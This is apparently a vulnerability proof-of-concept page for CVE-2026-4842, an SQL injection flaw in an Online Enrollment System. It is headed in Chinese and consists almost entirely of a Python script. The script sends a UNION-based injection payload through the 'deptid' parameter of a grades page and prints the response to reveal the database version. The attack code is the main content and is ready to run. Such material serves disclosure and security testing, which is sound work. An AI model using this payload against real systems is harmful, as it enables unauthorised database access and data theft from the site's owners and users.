CVE-2026-4842: Online Enrollment System SQL注入漏洞

import requests # Target URL simulation based on the description target_url = "http://target-ip/sms/grades/index.php" # Payload demonstrates SQL injection via the 'deptid' parameter # Using a simple UNION based injection to extract database version payload = { "view": "edit", "id": "1", "deptid": "1' UNION SELECT NULL, NULL, NULL, version(), NULL-- -" } try: # Send the malicious request response = requests.get(target_url, params=payload) # Check if the request was successful if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check the response content for database version output.") print(response.text[:500]) # Print snippet of response else: print("[-] Request failed with status code:", response.status_code) except Exception as e: print(f"[-] An error occurred: {e}")